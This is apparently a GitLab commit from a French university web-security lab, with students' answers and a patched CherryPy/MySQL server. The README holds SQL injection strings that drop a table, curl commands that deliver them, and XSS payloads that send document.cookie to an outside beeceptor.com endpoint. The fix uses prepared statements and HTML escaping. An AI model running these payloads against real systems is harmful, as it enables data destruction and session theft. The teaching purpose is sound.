Skip to content
Snippets Groups Projects
Commit e0488d1d authored by Valentin Bout's avatar Valentin Bout :wine_glass:
Browse files

Feat: finish tp2

parent 0674ea62
Branches master
No related tags found
No related merge requests found
/config.py
__pycache__/
env/
\ No newline at end of file
......@@ -2,41 +2,141 @@
## Binome
Nom, Prénom, email: ___
Nom, Prénom, email: ___
Nom, Prénom, email: BOUT, Valentin, valentin.bout.etu@univ-lille.fr
Nom, Prénom, email: BENAMEUR, Adil, adil.benameur.etu@univ-lille.fr
## Question 1
* Quel est ce mécanisme?
Une fonction de validation Javascript, se lancant lors de la soumission du formulaire, et donc avant d'atteindre le backend python.
* Est-il efficace? Pourquoi?
Cela n'est pas effice car nous pouvons utiliser plusieurs maniere de contourner cette validation:
1. En utilisant un systeme de requetage sans javascript (tel que curl, ou postman dans un terminal ou d'autre outil specifique).
2. Modifier le HTML directement dans le navigateur pour supprimer le onSubmit
Essaie avec la commande
', '');DROP TABLE chaines; --
Fonctionne avec DROP TABLE.
Fonctionne aussi avec inconnu', 'toto')--
## Question 2
* Votre commande curl
```
curl -v --noproxy localhost, 'http://localhost:8080/' \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate, br' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://localhost:8080' \
-H 'Connection: keep-alive' \
-H 'Referer: http://localhost:8080/' \
-H 'Cookie: ExempleCookie="Valeur du cookie"' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Sec-Fetch-Dest: document' \
-H 'Sec-Fetch-Mode: navigate' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-User: ?1' \
--data-raw 'chaine=%27%2C+%27%27%29%3BDROP+TABLE+chaines%3B+--&submit=OK'
```
## Question 3
* Votre commande curl qui va permettre de rajouter une entree en mettant un contenu arbutraire dans le champ 'who'
```
curl -v --noproxy localhost, 'http://localhost:8080/' \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate, br' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://localhost:8080' \
-H 'Connection: keep-alive' \
-H 'Referer: http://localhost:8080/' \
-H 'Cookie: ExempleCookie="Valeur du cookie"' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Sec-Fetch-Dest: document' \
-H 'Sec-Fetch-Mode: navigate' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-User: ?1' \
--data-raw 'chaine=inconnu%27%2C+%27toto%27%29--+&submit=OK'
```
* Expliquez comment obtenir des informations sur une autre table
En connaissant le nom de la table, on pourrait tenter un select de la table puis un insert dans les champs que nous connaissons.
Nous pouvons aussi tenter de lister les tables disponibles pour ensuite attaquer des tables precises.
## Question 4
Rendre un fichier server_correct.py avec la correction de la faille de
sécurité. Expliquez comment vous avez corrigé la faille.
Notre serveur fixe se trouve dans le fichier [serveur_fix.py](./serveur_fix.py)
Nous avons corriger la faille en utilisant un cursor prepared a true (ce qui permet de definir un cursor preparant les requetes en les sanetisants). Nous avons aussi ensuite utiliser les requetes avec des parametres (en utilisant un tuple) que nous passons a lexecution. Le package mysql python se charge de creer des requetes securises en utilisant les parametres.
## Question 5
* Commande curl pour afficher une fenetre de dialog.
```
curl -v --noproxy localhost, 'http://localhost:8080/' -X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://localhost:8080' \
-H 'Connection: keep-alive' \
-H 'Referer: http://localhost:8080/' \
-H 'Cookie: ExempleCookie="Valeur du cookie"' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Sec-Fetch-Dest: document' \
-H 'Sec-Fetch-Mode: navigate' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-User: ?1' \
--data-raw 'chaine=%3Cscript%3Ewindow.alert%28%22Hello+world%21%22%29%3B%3C%2Fscript%3E&submit=OK'
```
* Commande curl pour lire les cookies
Nous pouvons utiliser mockbin, ou encore mieux avec beeceptor pour creer des simple custom endpoints.
```
curl -v --noproxy localhost, 'http://localhost:8080/' -X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate, br' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://localhost:8080' \
-H 'Connection: keep-alive' \
-H 'Referer: http://localhost:8080/' \
-H 'Cookie: ExempleCookie="Valeur du cookie"' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Sec-Fetch-Dest: document' \
-H 'Sec-Fetch-Mode: navigate' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-User: ?1' \
--data-raw 'chaine=%3Cscript%3Efetch%28%22https%3A%2F%2Fisitp2.free.beeceptor.com%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E&submit=OK'
```
Nous pouvons utiliser l'un des deux scripts suivants, permettant sois de rediriger l'utilisateur vers un autre domaine, mais visible, ou discretement en lancant une requete en arriere plan.
```
<script>document.location="https://isitp2.free.beeceptor.com?cookie="+document.cookie</script>
<script>fetch("https://isitp2.free.beeceptor.com?cookie="+document.cookie);</script>
```
## Question 6
Rendre un fichier server_xss.py avec la correction de la
faille. Expliquez la demarche que vous avez suivi.
**Rendre un fichier server_xss.py avec la correction de la
faille. Expliquez la demarche que vous avez suivi.**
Notre serveur fixe se trouve dans le fichier [serveur_fix.py](./serveur_fix.py).
Nous avons utiliser la fonction escape du module html de python permettant "d'escape" les balises html en balise non interpretable par le navigateur. Par exemple en remplacant < par `&lt;`
**Ou vaut-il mieux réaliser ce traitement? Au moment de l'insertion des
données en base, au moment de l'affichage, les deux? Pourquoi ?**
Nous pouvons realiser cette verification dans les deux cas MAIS on ne faisant pas confiance a la premiere verification.
Meme si nous realisons cette verification au moment de l'insertion des donnees, nous devons verifier au moment de l'affichage aussi en echappant le contenu. Cette double protection fait partie du principes de "defence in depth" ou "layered security" combinant differents controle (ici des controles techniques) afin d'augmenter le niveau de cybersecurite.
\ No newline at end of file
#!/usr/bin/env python3
import mysql.connector
import cherrypy
import config
from html import escape
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
cherrypy.response.cookie["ExempleCookie"] = "Valeur du cookie"
cursor = self.conn.cursor(prepared=True)
if cherrypy.request.method == "POST":
requete = "INSERT INTO chaines (txt,who) VALUES(%s, %s)"
parms = (post["chaine"], cherrypy.request.remote.ip)
print("req: [" + requete + "] with " + str(parms))
cursor.execute(requete, parms)
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines")
for row in cursor.fetchall():
chaines.append(row[0] + " envoye par: " + row[1])
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
'''+"\n".join(["<li>" + escape(s) + "</li>" for s in chaines])+'''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp())
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment